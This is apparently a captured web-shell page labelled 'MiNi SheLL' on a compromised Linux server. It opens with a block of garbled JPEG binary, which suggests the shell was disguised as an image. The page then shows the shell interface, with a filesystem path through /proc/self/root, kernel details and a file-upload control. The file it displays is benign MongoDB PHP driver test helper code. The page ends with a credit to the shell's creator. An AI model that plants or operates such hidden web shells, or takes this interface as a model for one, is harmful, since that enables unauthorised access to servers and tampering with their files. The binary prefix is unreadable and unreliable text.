JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/self/root/proc/thread-self/root/usr/share/php/tests/mongodb/tests/utils/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : //proc/self/root/proc/thread-self/root/usr/share/php/tests/mongodb/tests/utils/tools.php

<?php

use MongoDB\Driver\BulkWrite;
use MongoDB\Driver\Command;
use MongoDB\Driver\Manager;
use MongoDB\Driver\ReadPreference;
use MongoDB\Driver\Server;
use MongoDB\Driver\ServerApi;
use MongoDB\Driver\WriteConcern;
use MongoDB\Driver\WriteConcernError;
use MongoDB\Driver\WriteError;
use MongoDB\Driver\WriteResult;
use MongoDB\Driver\Exception\ConnectionException;
use MongoDB\Driver\Exception\RuntimeException;

/**
 * Appends an option to a URI string and returns a new URI.
 *
 * @param string $uri
 * @param string $option
 * @param string $value
 * @return string
 */
function append_uri_option($uri, $option)
{
    // Append to existing query string
    if (strpos($uri, '?') !== false) {
        return $uri . '&' . $option;
    }

    // Terminate host list and append new query string
    if (parse_url($uri, PHP_URL_PATH) === null) {
        return $uri . '/?' . $option;
    }

    // Append query string after terminated host list and possible auth database
    return $uri . '?' . $option;
}

/**
 * Drops a collection on the primary server.
 *
 * @param string $uri            Connection string
 * @param string $databaseName   Database name
 * @param string $collectionName Collection name
 * @throws RuntimeException
 */
function drop_collection($uri, $databaseName, $collectionName)
{
    $server = get_primary_server($uri);
    $command = new Command(['drop' => $collectionName]);

    try {
        /* Unless we are dropping a collection within the "local" database,
         * which does not support a write concern, we need to use w:majority due
         * to the issue explained in SERVER-35613: "drop" uses a two phase
         * commit, and due to that, it is possible that a lock can't be acquired
         * for a transaction that gets quickly started as the "drop" reaper
         * hasn't completed yet. */
        $wc = $databaseName === 'local' ? new WriteConcern(1) : new WriteConcern(WriteConcern::MAJORITY);

        $server->executeCommand(
            $databaseName,
            $command,
            ['writeConcern' => $wc]
        );
    } catch (RuntimeException $e) {
        if ($e->getMessage() !== 'ns not found') {
            throw $e;
        }
    }
}

/**
 * Returns the value of a module row from phpinfo(), or null if it's not found.
 *
 * @param string $row
 * @return string|null
 */
function get_module_info($row)
{
    ob_start();
    phpinfo(INFO_MODULES);
    $info = ob_get_clean();

    $pattern = sprintf('/^%s(.*)$/m', preg_quote($row . ' => '));

    if (preg_match($pattern, $info, $matches) !== 1) {
        return null;
    }

    return $matches[1];
}

function create_test_manager(string $uri = null, array $options = [], array $driverOptions = [])
{
    if (getenv('API_VERSION') && ! isset($driverOptions['serverApi'])) {
        $driverOptions['serverApi'] = new ServerApi(getenv('API_VERSION'));
    }

    if (getenv('CRYPT_SHARED_LIB_PATH') && isset($driverOptions['autoEncryption'])) {
        if (is_array($driverOptions['autoEncryption']) &&
            (! isset($driverOptions['autoEncryption']['extraOptions']) || is_array($driverOptions['autoEncryption']['extraOptions'])) &&
            ! isset($driverOptions['autoEncryption']['extraOptions']['cryptSharedLibPath'])) {
            $driverOptions['autoEncryption']['extraOptions']['cryptSharedLibPath'] = getenv('CRYPT_SHARED_LIB_PATH');
        }
    }

    return new Manager($uri ?? URI, $options, $driverOptions);
}

/**
 * Returns the primary server.
 *
 * @param string $uri Connection string
 * @return Server
 * @throws ConnectionException
 */
function get_primary_server($uri)
{
    return create_test_manager($uri)->selectServer(new ReadPreference('primary'));
}

/**
 * Returns a secondary server.
 *
 * @param string $uri Connection string
 * @return Server
 * @throws ConnectionException
 */
function get_secondary_server($uri)
{
    return create_test_manager($uri)->selectServer(new ReadPreference('secondary'));
}

/**
 * Runs a command and returns whether an exception was thrown or not
 *
 * @param string $uri Connection string
 * @param array|object $commandSpec
 * @return bool
 * @throws RuntimeException
 */
function command_works($uri, $commandSpec)
{
    $command = new Command($commandSpec);
    $server = get_primary_server($uri);
    try {
        $cursor = $server->executeCommand('admin', $command);
        return true;
    } catch (Exception $e) {
        return false;
    }
}

/**
 * Returns a parameter of the primary server.
 *
 * @param string $uri Connection string
 * @return mixed
 * @throws RuntimeException
 */
function get_server_parameter($uri, $parameter)
{
    $server = get_primary_server($uri);
    $command = new Command(['getParameter' => 1, $parameter => 1]);
    $cursor = $server->executeCommand('admin', $command);

    return current($cursor->toArray())->$parameter;
}

/**
 * Returns the storage engine of the primary server.
 *
 * @param string $uri Connection string
 * @return string
 * @throws RuntimeException
 */
function get_server_storage_engine($uri)
{
    $server = get_primary_server($uri);
    $command = new Command(['serverStatus' => 1]);
    $cursor = $server->executeCommand('admin', $command);

    return current($cursor->toArray())->storageEngine->name;
}

/**
 * Helper to return the version of a specific server.
 *
 * @param Server $server
 * @return string
 * @throws RuntimeException
 */
function get_server_version_from_server(Server $server)
{
    $command = new Command(['buildInfo' => 1]);
    $cursor = $server->executeCommand('admin', $command);

    return current($cursor->toArray())->version;
}

/**
 * Returns the version of the primary server.
 *
 * @param string $uri Connection string
 * @return string
 * @throws RuntimeException
 */
function get_server_version($uri)
{
    $server = get_primary_server($uri);
    return get_server_version_from_server($server);
}

/**
 * Returns the value of a URI option, or null if it's not found.
 *
 * @param string $uri
 * @return string|null
 */
function get_uri_option($uri, $option)
{
    $pattern = sprintf('/[?&]%s=([^&]+)/i', preg_quote($option));

    if (preg_match($pattern, $uri, $matches) !== 1) {
        return null;
    }

    return $matches[1];
}

/**
 * Checks that the topology is load balanced.
 *
 * @param string $uri
 * @return boolean
 */
function is_load_balanced($uri)
{
    return get_primary_server($uri)->getType() === Server::TYPE_LOAD_BALANCER;
}

/**
 * Checks that the topology is a sharded cluster.
 *
 * @param string $uri
 * @return boolean
 */
function is_mongos($uri)
{
    return get_primary_server($uri)->getType() === Server::TYPE_MONGOS;
}

/**
 * Checks that the topology is a sharded cluster using a replica set.
 *
 * Note: only the first shard is checked.
 */
function is_sharded_cluster_with_replica_set($uri)
{
    $server = get_primary_server($uri);

    if ($server->getType() !== Server::TYPE_MONGOS && $server->getType() !== Server::TYPE_LOAD_BALANCER) {
        return false;
    }

    $cursor = $server->executeQuery('config.shards', new \MongoDB\Driver\Query([], ['limit' => 1]));
    $cursor->setTypeMap(['root' => 'array', 'document' => 'array']);
    $document = current($cursor->toArray());

    if (! $document) {
        return false;
    }

    /**
     * Use regular expression to distinguish between standalone or replicaset:
     * Without a replicaset: "host" : "localhost:4100"
     * With a replicaset: "host" : "dec6d8a7-9bc1-4c0e-960c-615f860b956f/localhost:4400,localhost:4401"
     */
    return preg_match('@^.*/.*:\d+@', $document['host']);
}

/**
 * Checks that the topology is a replica set.
 *
 * @param string $uri
 * @return boolean
 */
function is_replica_set($uri)
{
    if (get_primary_server($uri)->getType() !== Server::TYPE_RS_PRIMARY) {
        return false;
    }

    /* Note: this may return a false negative if replicaSet is specified through
     * a TXT record for a mongodb+srv connection string. */
    if (get_uri_option($uri, 'replicaSet') === NULL) {
        return false;
    }

    return true;
}

/**
 * Checks if the connection string uses authentication.
 *
 * @param string $uri
 * @return boolean
 */
function is_auth($uri)
{
    if (stripos($uri, 'authmechanism=') !== false) {
        return true;
    }

    if (strpos($uri, ':') !== false && strpos($uri, '@') !== false) {
        return true;
    }

    return false;
}

/**
 * Checks if the connection string uses SSL.
 *
 * @param string $uri
 * @return boolean
 */
function is_ssl($uri)
{
    return stripos($uri, 'ssl=true') !== false || stripos($uri, 'tls=true') !== false;
}

/**
 * Checks that the topology is a standalone.
 *
 * @param string $uri
 * @return boolean
 */
function is_standalone($uri)
{
    return get_primary_server($uri)->getType() === Server::TYPE_STANDALONE;
}

/**
 * Converts the server type constant to a string.
 *
 * @see http://php.net/manual/en/class.mongodb-driver-server.php
 * @param integer $type
 * @return string
 */
function server_type_as_string($type)
{
    switch ($type) {
        case Server::TYPE_STANDALONE:
            return 'Standalone';
        case Server::TYPE_MONGOS:
            return 'Mongos';
        case Server::TYPE_POSSIBLE_PRIMARY:
            return 'PossiblePrimary';
        case Server::TYPE_RS_PRIMARY:
            return 'RSPrimary';
        case Server::TYPE_RS_SECONDARY:
            return 'RSSecondary';
        case Server::TYPE_RS_ARBITER:
            return 'RSArbiter';
        case Server::TYPE_RS_OTHER:
            return 'RSOther';
        case Server::TYPE_RS_GHOST:
            return 'RSGhost';
        default:
            return 'Unknown';
    }
}

/**
 * Converts an errno number to a string.
 *
 * @see http://php.net/manual/en/errorfunc.constants.php
 * @param integer $errno
 * @param string
 */
function errno_as_string($errno)
{
    $errors = [
        'E_ERROR',
        'E_WARNING',
        'E_PARSE',
        'E_NOTICE',
        'E_CORE_ERROR',
        'E_CORE_WARNING',
        'E_COMPILE_ERROR',
        'E_COMPILE_WARNING',
        'E_USER_ERROR',
        'E_USER_WARNING',
        'E_USER_NOTICE',
        'E_STRICT',
        'E_RECOVERABLE_ERROR',
        'E_DEPRECATED',
        'E_USER_DEPRECATED',
        'E_ALL',
    ];

    foreach ($errors as $error) {
        if ($errno === constant($error)) {
            return $error;
        }
    }

    return 'Unknown';
}

/**
 * Prints a traditional hex dump of byte values and printable characters.
 *
 * @see http://stackoverflow.com/a/4225813/162228
 * @param string $data   Binary data
 * @param integer $width Bytes displayed per line
 */
function hex_dump($data, $width = 16)
{
    static $pad = '.'; // Placeholder for non-printable characters
    static $from = '';
    static $to = '';

    if ($from === '') {
        for ($i = 0; $i <= 0xFF; $i++) {
            $from .= chr($i);
            $to .= ($i >= 0x20 && $i <= 0x7E) ? chr($i) : $pad;
        }
    }

    $hex = str_split(bin2hex($data), $width * 2);
    $chars = str_split(strtr($data, $from, $to), $width);

    $offset = 0;
    $length = $width * 3;

    foreach ($hex as $i => $line) {
        printf("%6X : %-{$length}s [%s]\n", $offset, implode(' ', str_split($line, 2)), $chars[$i]);
        $offset += $width;
    }
}

/**
 * Canonicalizes a JSON string.
 *
 * @param string $json
 * @return string
 */
function json_canonicalize($json)
{
    $json = json_encode(json_decode($json));

    /* Canonicalize string values for $numberDouble to ensure they are converted
     * the same as number literals in legacy and relaxed output. This is needed
     * because the printf format in _bson_as_json_visit_double uses a high level
     * of precision and may not produce the exponent notation expected by the
     * BSON corpus tests. */
    $json = preg_replace_callback(
        '/{"\$numberDouble":"(-?\d+(\.\d+([eE]\+\d+)?)?)"}/',
        function ($matches) {
            return '{"$numberDouble":"' . json_encode(json_decode($matches[1])) . '"}';
        },
        $json
    );

    return $json;
}

/**
 * Return a collection name to use for the test file.
 *
 * The filename will be stripped of the base path to the test suite (prefix) as
 * well as the PHP file extension (suffix). Special characters (including hyphen
 * for shell compatibility) will be replaced with underscores.
 *
 * @param string $filename
 * @return string
 */
function makeCollectionNameFromFilename($filename)
{
    $filename = realpath($filename);
    $prefix = realpath(dirname(__FILE__) . '/..') . DIRECTORY_SEPARATOR;

    $replacements = array(
        // Strip test path prefix
        sprintf('/^%s/', preg_quote($prefix, '/')) => '',
        // Strip file extension suffix
        '/\.php$/' => '',
        // SKIPIFs add ".skip" between base name and extension
        '/\.skip$/' => '',
        // Replace special characters with underscores
        sprintf('/[%s]/', preg_quote('-$/\\', '/')) => '_',
    );

    return preg_replace(array_keys($replacements), array_values($replacements), $filename);
}

function NEEDS($configuration) {
    if (!constant($configuration)) {
        exit("skip -- need '$configuration' defined");
    }
}
function SLOW() {
    if (getenv("SKIP_SLOW_TESTS")) {
        exit("skip SKIP_SLOW_TESTS");
    }
}

function loadFixtures(Manager $manager, $dbname = DATABASE_NAME, $collname = COLLECTION_NAME, $filename = null)
{
    if (!$filename) {
        $filename = "compress.zlib://" . __DIR__ . "/" . "PHONGO-FIXTURES.json.gz";
    }

    $bulk = new BulkWrite(['ordered' => false]);

    $server = $manager->selectServer(new ReadPreference(ReadPreference::RP_PRIMARY));

    $data = file_get_contents($filename);
    $array = json_decode($data);

    foreach($array as $document) {
        $bulk->insert($document);
    }

    $retval = $server->executeBulkWrite("$dbname.$collname", $bulk);

    if ($retval->getInsertedCount() !== count($array)) {
        exit(sprintf('skip Fixtures were not loaded (expected: %d, actual: %d)', $total, $retval->getInsertedCount()));
    }
}

function createTemporaryMongoInstance(array $options = [])
{
    $id = 'mo_' . COLLECTION_NAME;
    $options += [
        "name" => "mongod",
        "id" => $id,
        'procParams' => [
            'logpath' => "/tmp/MO/phongo/{$id}.log",
            'ipv6' => true,
            'setParameter' => [ 'enableTestCommands' => 1 ],
        ],
    ];
    $opts = array(
        "http" => array(
            "timeout" => 60,
            "method"  => "PUT",
            "header"  => "Accept: application/json\r\n" .
                         "Content-type: application/x-www-form-urlencoded",
            "content" => json_encode($options),
            "ignore_errors" => true,
        ),
    );
    $ctx = stream_context_create($opts);
    $json = file_get_contents(MONGO_ORCHESTRATION_URI . "/servers/$id", false, $ctx);
    $result = json_decode($json, true);

    /* Failed -- or was already started */
    if (!isset($result["mongodb_uri"])) {
        destroyTemporaryMongoInstance($id);
        throw new Exception("Could not start temporary server instance\n");
    } else {
        return $result['mongodb_uri'];
    }
}

function destroyTemporaryMongoInstance($id = NULL)
{
    if ($id == NULL) {
        $id = 'mo_' . COLLECTION_NAME;
    }

    $opts = array(
        "http" => array(
            "timeout" => 60,
            "method"  => "DELETE",
            "header"  => "Accept: application/json\r\n",
            "ignore_errors" => true,
        ),
    );
    $ctx = stream_context_create($opts);
    $json = file_get_contents(MONGO_ORCHESTRATION_URI . "/servers/$id", false, $ctx);
}

/**
 * Converts an error level (constant or bitmask) to a string description.
 */
function severityToString(int $severity): string {
    static $constants = [
        'E_ERROR' => E_ERROR,
        'E_WARNING' => E_WARNING,
        'E_PARSE' => E_PARSE,
        'E_NOTICE' => E_NOTICE,
        'E_CORE_ERROR' => E_CORE_ERROR,
        'E_CORE_WARNING' => E_CORE_WARNING,
        'E_COMPILE_ERROR' => E_COMPILE_ERROR,
        'E_COMPILE_WARNING' => E_COMPILE_WARNING,
        'E_USER_ERROR' => E_USER_ERROR,
        'E_USER_WARNING' => E_USER_WARNING,
        'E_USER_NOTICE' => E_USER_NOTICE,
        'E_STRICT' => E_STRICT,
        'E_RECOVERABLE_ERROR' => E_RECOVERABLE_ERROR,
        'E_DEPRECATED' => E_DEPRECATED,
        'E_USER_DEPRECATED' => E_USER_DEPRECATED,
        // E_ALL is handled separately
    ];

    if ($severity === E_ALL) {
        return 'E_ALL';
    }

    foreach ($constants as $constant => $value) {
        if ($severity & $value) {
            $matches[] = $constant;
        }
    }

    return empty($matches) ? 'UNKNOWN' : implode('|', $matches);
}

/**
 * Expects the callable to raise an error matching the expected severity, which
 * may be a constant or bitmask. May optionally expect the error to be raised
 * from a particular function. Returns the message from the raised error or
 * exception, or an empty string if neither was thrown.
 */
function raises(callable $callable, int $expectedSeverity, string $expectedFromFunction = null): string
{
    set_error_handler(function(int $severity, string $message, string $file, int $line) {
        throw new ErrorException($message, 0, $severity, $file, $line);
    });

    try {
        call_user_func($callable);
    } catch (ErrorException $e) {
        if (!($e->getSeverity() & $expectedSeverity)) {
            printf("ALMOST: Got %s - expected %s\n", severityToString($e->getSeverity()), severityToString($expectedSeverity));
            return $e->getMessage();
        }

        if ($expectedFromFunction === null) {
            printf("OK: Got %s\n", severityToString($e->getSeverity()));
            return $e->getMessage();
        }

        $fromFunction = $e->getTrace()[0]['function'];

        if (strcasecmp($fromFunction, $expectedFromFunction) !== 0) {
            printf("ALMOST: Got %s - but was raised from %s, not %s\n", errorLevelToString($e->getSeverity()), $fromFunction, $expectedFromFunction);
            return $e->getMessage();
        }

        printf("OK: Got %s raised from %s\n", severityToString($e->getSeverity()), $fromFunction);
        return $e->getMessage();
    } catch (Throwable $e) {
        printf("ALMOST: Got %s - expected %s\n", get_class($e), ErrorException::class);
        return $e->getMessage();
    } finally {
        restore_error_handler();
    }

    printf("FAILED: Expected %s, but no error raised!\n", ErrorException::class);
    return '';
}

/**
 * Expects the callable to throw an expected exception. May optionally expect
 * the exception to be thrown from a particular function. Returns the message
 * from the thrown exception, or an empty string if one was not thrown.
 */
function throws(callable $callable, string $expectedException, string $expectedFromFunction = null): string
{
    try {
        call_user_func($callable);
    } catch (Throwable $e) {
        if (!($e instanceof $expectedException)) {
            printf("ALMOST: Got %s - expected %s\n", get_class($e), $expectedException);
            return $e->getMessage();
        }

        if ($expectedFromFunction === null) {
            printf("OK: Got %s\n", $expectedException);
            return $e->getMessage();
        }

        $fromFunction = $e->getTrace()[0]['function'];

        if (strcasecmp($fromFunction, $expectedFromFunction) !== 0) {
            printf("ALMOST: Got %s - but was thrown from %s, not %s\n", $expectedException, $fromFunction, $expectedFromFunction);
            return $e->getMessage();
        }

        printf("OK: Got %s thrown from %s\n", $expectedException, $fromFunction);
        return $e->getMessage();
    }

    printf("FAILED: Expected %s, but no exception thrown!\n", $expectedException);
    return '';
}

function printServer(Server $server)
{
    printf("server: %s:%d\n", $server->getHost(), $server->getPort());
}

function printWriteResult(WriteResult $result, $details = true)
{
    printServer($result->getServer());

    printf("insertedCount: %d\n", $result->getInsertedCount());
    printf("matchedCount: %d\n", $result->getMatchedCount());
    printf("modifiedCount: %d\n", $result->getModifiedCount());
    printf("upsertedCount: %d\n", $result->getUpsertedCount());
    printf("deletedCount: %d\n", $result->getDeletedCount());

    foreach ($result->getUpsertedIds() as $index => $id) {
        printf("upsertedId[%d]: ", $index);
        var_dump($id);
    }

    $writeConcernError = $result->getWriteConcernError();
    printWriteConcernError($writeConcernError ? $writeConcernError : null, $details);

    foreach ($result->getWriteErrors() as $writeError) {
        printWriteError($writeError);
    }
}

function printWriteConcernError(WriteConcernError $error = null, $details)
{
    if ($error) {
        /* This stuff is generated by the server, no need for us to test it */
        if (!$details) {
            printf("writeConcernError: %s (%d)\n", $error->getMessage(), $error->getCode());
            return;
        }
        var_dump($error);
        printf("writeConcernError.message: %s\n", $error->getMessage());
        printf("writeConcernError.code: %d\n", $error->getCode());
        printf("writeConcernError.info: ");
        var_dump($error->getInfo());
    }
}

function printWriteError(WriteError $error)
{
    var_dump($error);
    printf("writeError[%d].message: %s\n", $error->getIndex(), $error->getMessage());
    printf("writeError[%d].code: %d\n", $error->getIndex(), $error->getCode());
}

function getInsertCount($retval) {
    return $retval->getInsertedCount();
}
function getModifiedCount($retval) {
    return $retval->getModifiedCount();
}
function getDeletedCount($retval) {
    return $retval->getDeletedCount();
}
function getUpsertedCount($retval) {
    return $retval->getUpsertedCount();
}
function getWriteErrors($retval) {
    return (array)$retval->getWriteErrors();
}

function def($arr) {
    foreach($arr as $const => $value) {
        define($const, getenv("PHONGO_TEST_$const") ?: $value);
    }
}

function configureFailPoint(Manager $manager, $failPoint, $mode, array $data = [])
{
    $doc = [
        'configureFailPoint' => $failPoint,
        'mode'               => $mode,
    ];
    if ($data) {
        $doc['data'] = $data;
    }

    $cmd = new Command($doc);
    $manager->executeCommand('admin', $cmd);
}

function configureTargetedFailPoint(Server $server, $failPoint, $mode, array $data = [])
{
    $doc = array(
        'configureFailPoint' => $failPoint,
        'mode'               => $mode,
    );
    if ($data) {
        $doc['data'] = $data;
    }

    $cmd = new Command($doc);
    $server->executeCommand('admin', $cmd);
}

function failMaxTimeMS(Server $server)
{
    configureTargetedFailPoint($server, 'maxTimeAlwaysTimeOut', [ 'times' => 1 ]);
}

function toPHP($var, $typemap = array()) {
    return MongoDB\BSON\toPHP($var, $typemap);
}
function fromPHP($var) {
    return MongoDB\BSON\fromPHP($var);
}
function toJSON($var) {
    return MongoDB\BSON\toJSON($var);
}
function toCanonicalExtendedJSON($var) {
    return MongoDB\BSON\toCanonicalExtendedJSON($var);
}
function toRelaxedExtendedJSON($var) {
    return MongoDB\BSON\toRelaxedExtendedJSON($var);
}
function fromJSON($var) {
    return MongoDB\BSON\fromJSON($var);
}

/* Note: this fail point may terminate the mongod process, so you may want to
 * use this in conjunction with a throwaway server. */
function failGetMore(Manager $manager)
{
    /* We need to do version detection here */
    $primary = $manager->selectServer(new ReadPreference('primary'));
    $version = get_server_version_from_server($primary);

    if (version_compare($version, "4.0", ">=")) {
        /* We use 237 here, as that's the same original code that MongoD would
         * throw if a cursor had already gone by the time we call getMore. This
         * allows us to make things consistent with the getMore OP behaviour
         * from previous mongod versions. An errorCode is required here for the
         * failPoint to work. */
        configureFailPoint($manager, 'failCommand', 'alwaysOn', [ 'errorCode' => 237, 'failCommands' => ['getMore'] ]);
        return;
    }

    throw new Exception("Trying to configure a getMore fail point for a server version ($version) that doesn't support it");
}

function getAtlasConnectivityUrls(): array
{
    $atlasUriString = getenv('ATLAS_CONNECTIVITY_URIS') ?: '';
    if (!$atlasUriString) {
        return [];
    }

    $rawUrls = explode("\n", $atlasUriString);

    $urls = [];
    foreach ($rawUrls as $url) {
        $url = trim($url);

        if ($url == '') {
            continue;
        }

        $urls[] = $url;
    }

    return $urls;
}

Creat By MiNi SheLL
Email: jattceo@gmail.com